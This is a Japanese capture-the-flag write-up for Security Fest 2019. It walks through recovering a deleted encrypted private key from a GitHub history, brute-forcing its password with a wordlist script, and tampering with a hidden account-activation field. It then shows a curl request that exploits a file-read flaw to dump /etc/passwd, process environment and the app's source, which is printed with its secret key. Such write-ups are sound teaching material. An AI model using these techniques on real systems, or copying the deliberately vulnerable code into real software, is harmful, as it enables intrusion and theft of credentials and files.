Security Fest 2019 Writeup

この大会は2019/5/23 0:00(JST)~2019/5/24 0:00(JST)に開催されました。
今回もチームで参戦。結果は1893点で465チーム中24位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity check (warmup, misc)

freenodeで#securityfest-ctfチャネルに入ると、フラグが書いてあった。

sctf{securityfestctf_2019}

Darkwebmessageboard (crypto, osint, web)

問題のURLにアクセスし、HTMLソースを見ると、コメントにこう書いてある。

<!-- | Dark Web Message Board | DEVELOPED BY K1tsCr3w | Open source at Kits-AB | -->

OpenSource上にソースがあると踏んで、このコメントをもとに検索してみると、以下の場所にソースがあることがわかった。

https://github.com/kits-ab/the-dark-message-board

app.pyに以下の記載がある。

@app.route("/boards/<id>")
def board(id):
    posts = []

    if int(id) == 1:
        posts = Post.select()
    
    return render_template("board.html", posts=posts)

以下のURLでメッセージボードが見れることがわかる。

http://darkboard-01.pwn.beer:5001/boards/1

メッセージボードの最下部に暗号メッセージが掲載されている。これを復号できればよさそう。

rW+fOddzrtdP7ufLj9KTQa9W8T9JhEj7a2AITFA4a2UbeEAtV/ocxB/t4ikLCMsThUXXWz+UFnyXzgLgD9RM+2toOvWRiJPBM2ASjobT+bLLi31F2M3jPfqYK1L9NCSMcmpVGs+OZZhzJmTbfHLdUcDzDwdZcjKcGbwEGlL6Z7+CbHD7RvoJk7Ft3wvFZ7PWIUHPneVAsAglOalJQCyWKtkksy9oUdDfCL9yvLDV4H4HoXGfQwUbLJL4Qx4hXHh3fHDoplTqYdkhi/5E4l6HO0Qh/jmkNLuwUyhcZVnFMet1vK07ePAuu7kkMe6iZ8FNtmluFlLnrlQXrE74Z2vHbQ==

https://github.com/kits-ab/the-dark-message-board/blob/master/tests/test_crypto.pyを使って暗号化しているようだが、そのまま利用するだけでは復号できない。別の秘密鍵を使っているようだ。
そこでgithub上のCommitsの履歴を見てみる。この履歴の中に「removed the production key, luckily it was encrypted with a password …」というのがある。
これを見ると、以下の内容のEncryption.txtが削除されていたことがわかる。

PEM_PRIVATE_KEY=b"""-----BEGIN ENCRYPTED PRIVATE KEY-----
MIIFLTBXBgkqhkiG9w0BBQ0wSjApBgkqhkiG9w0BBQwwHAQIF+TK17Q9CAsCAggA
MAwGCCqGSIb3DQIJBQAwHQYJYIZIAWUDBAEqBBCebicNIgfA441g2E3t3z/oBIIE
0OAMyvjZ8MaFDLJzuzDY3RWHP0IHWiHoCBNxPJWySon/tLXoizSbsj8EKtgA0MpE
vORC4QdnKg7bqplAAXfSIRli9Hb7RcuMpKv5buW3/Oh/th8NWWM9LOQOBAO0svlR
pJhA5hZSKEgEJMd1E77mjv29gHMEzRgXvAsTOZXhgbbtPnIkQGPXZq4hXyhy0VBt
9cCevKYLgVFahIARjejN+KErNiSN0f76mc62wunum+J6uGtk/HYZ00ZsFcf/0x7B
O/8hrFsliAg+2izNLVWy/+b1oCkuaMIEZ0zXjse3iZirSmWs6F5tFGh2w5lnJB1G
hJAqTjhHdvPWpwiyTw4nCG7+FDd3v1Ih+v8Qq9evlkYg1rdwh13ymGcfko3y7p2l
SuQsJ94i5NEv4acgIE70fqXrwzbSlc+QB5RtKexMj0NxWCySe9seLQP9fbCxp6Ci
a8mHS/4hF7hBbH984QJxy7aqt+U/xLQrKkkp2Lf0KYfthmiS13e7ZEtNSzd3dxZv
eVnDNSzEh/ty/+yt5bx58AlmhNigkaPX+KrTYt1KgQBrgYyk/YNEWK8GE0Sq/4KL
uEiIa0mpbn9je7szIA9egwjIqLWasBoG1HOb5dOu/azhVoM8mheEik/FQLHhgZlo
ZoFY8Rb3jO3Mv/sod1tQE6IteAkBsfXGT8QNaJHMAjmf96aNA8y0bStpHm1ZzpzW
qX3xcr6bDAt4olonDZ1DNTZh4AnSCnKM8LM6kwwY0r8q13EHJ2Ek6L0Vh+BiIeNw
7Q/jQ1thXzrYv9e5KU5TmvZAvtXoqcUCmI2ehnOq6xmir07g4tPQIHyolbY8EHw1
r/mb3me1+8lPdvjKSCM/LqI04h3GPkfnXWwPwlBL4sd5mnKRunLHcnLDu2AVRE+R
r8DvGGIMNr+LZjxZIdjhMraR6VSSTXX028Lamz40ZY9gn3vQWeIJAi0S7g/TW+TJ
RwXGW5gmLfbzlkzgvXPRPfjk9EeBtcS4Pj7q2QIrrAdZZFCC4z5uRGmMHC/tv2/p
IYpV2kClKcnNuPvQSreJXB18GJo1VJU/o78/Hi/cr1atiERM38gP1FYk08vcwjwT
Av62VWaTXsuAsOzS/fjmSsyAlv0LN8pNJ6j3uvk+bOrbKS4V7aM0oHDhLtlJThN5
dagcklxP1VgRAXQPdGUz1oEZzoKezPxq2mJCj8QAPZFkat5mRzbUum0aAr3Yn7Vq
KLGrILx8p4sToqfiKMnayU/QCpgifgJbMun9pSvdOC40b8xUIeuN0PlIkLueA4Mu
o4pbU2inYbC+vEB3c1fHaki+Z0+jUuHyIWtEBJOD6VNYx1LU3HY6T7eV8t/8oJxi
LZCxhon+/R9kEgJO0ofp0362pFm5i1V1afzjFMAhFK4khFNdZJ6rJLrymg1ueCsx
sxSv8x8EA/ZykDJs4M/E5eSiZI9ZmrCsIrUXZ7QGjguqHXnHi7wsO3RSa2c8Bl+t
+SYlmqK5U55yHZ23rJIS/XNIaMB+mX0CHnx/+rohABcueD7Hz7Q0OHP34NuPwK3x
NAx6x4Yfrw2SiYd0Nj15N8oexI+u6/tahCL2obap9S1Y7zibfNgJs4d2yi3F3A+w
Fe+whD+k+txSfs6w50MFgI4JG2Hu6dLtdQC5FSyOAYDJ
-----END ENCRYPTED PRIVATE KEY-----"""

これに置き換えるだけでは、復号できず、pemのパスワードが間違っているというエラーが出る。先ほどの履歴の「removed the production key, luckily it was encrypted with a password …」の下に「…from some file that reminds me of the song 'here i am something like a hurricane'」と書いてあるので、インターネット上を調べる。すると、Rock Youというキーワードが引っかかる。そこでrockyou.txtでpemパスワードのブルートフォースで、復号を試す。

from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import serialization, hashes
import base64
import unittest

PEM_PRIVATE_KEY = '''-----BEGIN ENCRYPTED PRIVATE KEY-----
MIIFLTBXBgkqhkiG9w0BBQ0wSjApBgkqhkiG9w0BBQwwHAQIF+TK17Q9CAsCAggA
MAwGCCqGSIb3DQIJBQAwHQYJYIZIAWUDBAEqBBCebicNIgfA441g2E3t3z/oBIIE
0OAMyvjZ8MaFDLJzuzDY3RWHP0IHWiHoCBNxPJWySon/tLXoizSbsj8EKtgA0MpE
vORC4QdnKg7bqplAAXfSIRli9Hb7RcuMpKv5buW3/Oh/th8NWWM9LOQOBAO0svlR
pJhA5hZSKEgEJMd1E77mjv29gHMEzRgXvAsTOZXhgbbtPnIkQGPXZq4hXyhy0VBt
9cCevKYLgVFahIARjejN+KErNiSN0f76mc62wunum+J6uGtk/HYZ00ZsFcf/0x7B
O/8hrFsliAg+2izNLVWy/+b1oCkuaMIEZ0zXjse3iZirSmWs6F5tFGh2w5lnJB1G
hJAqTjhHdvPWpwiyTw4nCG7+FDd3v1Ih+v8Qq9evlkYg1rdwh13ymGcfko3y7p2l
SuQsJ94i5NEv4acgIE70fqXrwzbSlc+QB5RtKexMj0NxWCySe9seLQP9fbCxp6Ci
a8mHS/4hF7hBbH984QJxy7aqt+U/xLQrKkkp2Lf0KYfthmiS13e7ZEtNSzd3dxZv
eVnDNSzEh/ty/+yt5bx58AlmhNigkaPX+KrTYt1KgQBrgYyk/YNEWK8GE0Sq/4KL
uEiIa0mpbn9je7szIA9egwjIqLWasBoG1HOb5dOu/azhVoM8mheEik/FQLHhgZlo
ZoFY8Rb3jO3Mv/sod1tQE6IteAkBsfXGT8QNaJHMAjmf96aNA8y0bStpHm1ZzpzW
qX3xcr6bDAt4olonDZ1DNTZh4AnSCnKM8LM6kwwY0r8q13EHJ2Ek6L0Vh+BiIeNw
7Q/jQ1thXzrYv9e5KU5TmvZAvtXoqcUCmI2ehnOq6xmir07g4tPQIHyolbY8EHw1
r/mb3me1+8lPdvjKSCM/LqI04h3GPkfnXWwPwlBL4sd5mnKRunLHcnLDu2AVRE+R
r8DvGGIMNr+LZjxZIdjhMraR6VSSTXX028Lamz40ZY9gn3vQWeIJAi0S7g/TW+TJ
RwXGW5gmLfbzlkzgvXPRPfjk9EeBtcS4Pj7q2QIrrAdZZFCC4z5uRGmMHC/tv2/p
IYpV2kClKcnNuPvQSreJXB18GJo1VJU/o78/Hi/cr1atiERM38gP1FYk08vcwjwT
Av62VWaTXsuAsOzS/fjmSsyAlv0LN8pNJ6j3uvk+bOrbKS4V7aM0oHDhLtlJThN5
dagcklxP1VgRAXQPdGUz1oEZzoKezPxq2mJCj8QAPZFkat5mRzbUum0aAr3Yn7Vq
KLGrILx8p4sToqfiKMnayU/QCpgifgJbMun9pSvdOC40b8xUIeuN0PlIkLueA4Mu
o4pbU2inYbC+vEB3c1fHaki+Z0+jUuHyIWtEBJOD6VNYx1LU3HY6T7eV8t/8oJxi
LZCxhon+/R9kEgJO0ofp0362pFm5i1V1afzjFMAhFK4khFNdZJ6rJLrymg1ueCsx
sxSv8x8EA/ZykDJs4M/E5eSiZI9ZmrCsIrUXZ7QGjguqHXnHi7wsO3RSa2c8Bl+t
+SYlmqK5U55yHZ23rJIS/XNIaMB+mX0CHnx/+rohABcueD7Hz7Q0OHP34NuPwK3x
NAx6x4Yfrw2SiYd0Nj15N8oexI+u6/tahCL2obap9S1Y7zibfNgJs4d2yi3F3A+w
Fe+whD+k+txSfs6w50MFgI4JG2Hu6dLtdQC5FSyOAYDJ
-----END ENCRYPTED PRIVATE KEY-----'''

ENCRYPTED_MESSAGE=('rW+fOddzrtdP7ufLj9KTQa9W8T9JhEj7a2AITFA4a2UbeEAtV/ocxB/t4ikLCMsThUXXWz+UFnyXz'
        'gLgD9RM+2toOvWRiJPBM2ASjobT+bLLi31F2M3jPfqYK1L9NCSMcmpVGs+OZZhzJmTbfHLdUcDzDwdZcjKcGbwE'
        'GlL6Z7+CbHD7RvoJk7Ft3wvFZ7PWIUHPneVAsAglOalJQCyWKtkksy9oUdDfCL9yvLDV4H4HoXGfQwUbLJL4Qx4'
        'hXHh3fHDoplTqYdkhi/5E4l6HO0Qh/jmkNLuwUyhcZVnFMet1vK07ePAuu7kkMe6iZ8FNtmluFlLnrlQXrE74Z2vHbQ==')

DEFAULT_PADDING=padding.OAEP(
    mgf=padding.MGF1(algorithm=hashes.SHA256()),
    algorithm=hashes.SHA256(),
    label=None
)

def decryption(pem_password):
    try:
        private_key = serialization.load_pem_private_key(
            PEM_PRIVATE_KEY,
            password=pem_password,
            backend=default_backend()
        )
        plaintext = private_key.decrypt(
            base64.b64decode(ENCRYPTED_MESSAGE.encode('utf-8')),
            DEFAULT_PADDING
        )
        print 'PEM PASSWORD =', pem_password
        print plaintext
        return True
    except:
        return False

if __name__ == '__main__':
    with open('dict/rockyou.txt', 'r') as f:
        words = f.read()
    words = words.split('\n')
    for word in words:
        if decryption(word):
            break

実行結果は以下の通り。

PEM PASSWORD = falloutboy
Bank url: http://bankofsweden-01.pwn.beer

問題文に書かれている通り、ポートを5000にしてアクセスする。

http://bankofsweden-01.pwn.beer:5000

アカウントを作成するが、Activateできない。is_activateのhidden属性が空になっているので、trueにしてpostすると、ログインできるようになる。ただ、ここからはしばらく考えたがわからず、チームメンバに助けてもらった。
ログインしたページの中にexport機能があり、それを実行すると、以下のエラーが出る。

Could not open file 4341114.csv, reason [Errno 2] No such file or directory: '4341114.csv'

LFI系の脆弱性がありそう。

$ curl 'http://bankofsweden-01.pwn.beer:5000/dashboard/dataportability/export' -H 'Cookie: session=.eJwdzjsOwjAMANC7ZO7gT2I7vUzlOI5gbemEuDuICzy9dznWmdej7K_zzq0cz1n24k5NOcVWZQWkZE0I75Mas-BcwYQ1qsaQHNmNJjcFbsLaJWgt5GwdmJyGAphH2phO9aeQt4lYnUVwcTQbHYMZWQCoL1ezspX7yvOfIcPPFzf6Lb4.XOaMCw.AZW0GSK1GSOy-spMUyw4_ZrAYqU' --data 'account=/etc/passwd'

これで/etc/passwdの内容が見れた。同様に他のファイルを見ていく。

### /proc/self/environ ###
PYTHONUNBUFFERED=1
LANG=C.UTF-8
HOSTNAME=78135dc621a9
GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D
PWD=/home/bos/ctf
HOME=/home/bos
PYTHON_VERSION=3.7.3
SHLVL=1
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PYTHON_PIP_VERSION=19.1.1
_=/home/bos/.local/bin/gunicorn

### /proc/self/cmdline ###
/usr/local/bin/python/home/bos/.local/bin/gunicorn--bind0.0.0.0:5000-w4app:app

環境変数からカレントディレクトリが /home/bos/ctf で、実行されているプロセスが /usr/local/bin/python/home/bos/.local/bin/gunicorn --bind 0.0.0.0:5000 -w4 app:app なので、/home/bos/ctf/app.py というファイルがあると推測できる。

### /home/bos/ctf/app.py ###
#!/usr/bin/python
import sys
import os
​
from urllib.request import urlopen
from model import init_database, Account, Transactions, db
from flask import request, render_template, Flask, flash, redirect, url_for
​
import flask_login
​
init_database()
​
app = Flask(__name__)
​
app.secret_key = "VRvzHowHabQYHTD3@YG+.kWeKM@UY_Q}"
​
login_manager = flask_login.LoginManager()
login_manager.init_app(app)
​
​
login_manager.login_view = "/login"
​
@login_manager.user_loader
def load_user(user_email):
  return Account.get_or_none(Account.id == user_email)
​
@app.route("/")
def index():
  return render_template("index.html")
​
@app.route("/login", methods=['GET', 'POST'])
def login():
  message = ""
  if request.method == "POST":
    username = request.form.get("username")
    password = request.form.get("password")
​
    try:
      account = Account.get(Account.email == username)
​
      if account.password == password:
        if account.active == 1:
          flask_login.login_user(account)
          return redirect(url_for('index'))
        message = "Account is not active...."
      else:
        message = "Passwords did not match..."
​
    except Exception as e:
      message = "Mainframe could not locate you..."
​
​
  return render_template("login.html", message=message)
​
@app.route("/register", methods=['GET', 'POST'])
def register():
  if request.method == "POST":
    firstname = request.form.get("firstname")
    lastname = request.form.get("lastname")
    profession = request.form.get("profession")
    purpose = request.form.get("purpose")
    email = request.form.get("email")
    password = request.form.get("password")
    active = request.form.get("is_active")
    country = request.form.get("country")
​
    with db.atomic():
      pk = Account.insert(firstname=firstname,lastname=lastname,
                profession=profession,purpose=purpose,
                email=email,password=password,active=active,country=country).execute()
​
      if pk:
        flash('You were successfully registered')
        return redirect(url_for('login'))
      else:
        flash('Something went wrong registrating your account')
​
  return render_template("register.html")
​
@app.route("/logout")
@flask_login.login_required
def logout():
  flask_login.logout_user()
  return redirect(url_for("index"))
​
@app.route("/dashboard")
@flask_login.login_required
def dashboard():
  return render_template("dashboard.html")
​
@app.route("/dashboard/dataportability/import", methods=['GET', 'POST'])
@flask_login.login_required
def dataportability_import():
  flag = ""
  error = ""
  if request.method == "POST":
    url = f'{request.form.get("url").replace("127.0.0.1", "")}/flag'
​
    if "localhost" in url:
      error = "Detected a possible hack. Using localhost is forbidden."
    elif url == "http://127.0.0.1/flag":
      flag = "SECFEST{h4ck3r5_60nn4_h4ck_4nd_b4nk3r5_60nn4_cr4ck}"
    else:
      try:
        u = urlopen(url, timeout=2)
        error = "This does not look like a banking site?"
      except Exception as e:
        error = f"Could not contact {url}, Reason: {e}"
​
​
  return render_template("import.html", flag=flag, error=error)
​
​
@app.route("/dashboard/dataportability/export", methods=['GET', 'POST'])
@flask_login.login_required
def dataportability_export():
  content = ""
  error = ""
  if request.method == "POST":
    account = request.form.get("account")
    try:
      with open(account, 'r', encoding='latin-1') as file:
        content = file.read()
    except Exception as e:
      error = f"Could not open file {account}, reason {e}"
  return render_template("export.html", file_content=content, error=error)
​
@app.route("/dashboard/transactions/<int:user_id>", methods=['GET', 'POST'])
@flask_login.login_required
def view_transactions(user_id):
  error = ""
  message = ""
  if request.method == "POST":
    to_account = request.form.get("toaccount")
    amount = int(request.form.get("amount"))
    to_user = Account.get_or_none(Account.account_number == to_account)
    if to_user:
      acc = flask_login.current_user
      if amount <= acc.balance:
        current_amount = acc.balance - amount
        acc.balance=current_amount
        acc.save()
        to_user.balance += amount
        to_user.save()
        Transactions.insert(from_acc=acc.id, to_acc=to_user.id, amount=amount).execute()
        message = f"You successfully sent {amount} SEK to account number \"{to_account}\"!"
      else:
        error = "You are trying send more money than what you own..."
    else:
      error = "That account number does not exist..."
​
    trans = Transactions.select().join(Account, on=(Account.id == user_id)).where((Transactions.from_acc == user_id) | (Transactions.to_acc == user_id)).order_by(Transactions.created.desc())
  else:
    trans = Transactions.select().join(Account, on=(Account.id == user_id)).where((Transactions.from_acc == user_id) | (Transactions.to_acc == user_id)).order_by(Transactions.created.desc())
​
  return render_template("transactions.html", transactions=trans, error=error, message=message)
​
if __name__ == "__main__":
  if os.environ.get("FLASK_DEBUG"):
    app.run(debug=True)
  else:
    app.run()

よく見ると、このソースコード中にフラグが書いてあった。

flag = "SECFEST{h4ck3r5_60nn4_h4ck_4nd_b4nk3r5_60nn4_cr4ck}"
h4ck3r5_60nn4_h4ck_4nd_b4nk3r5_60nn4_cr4ck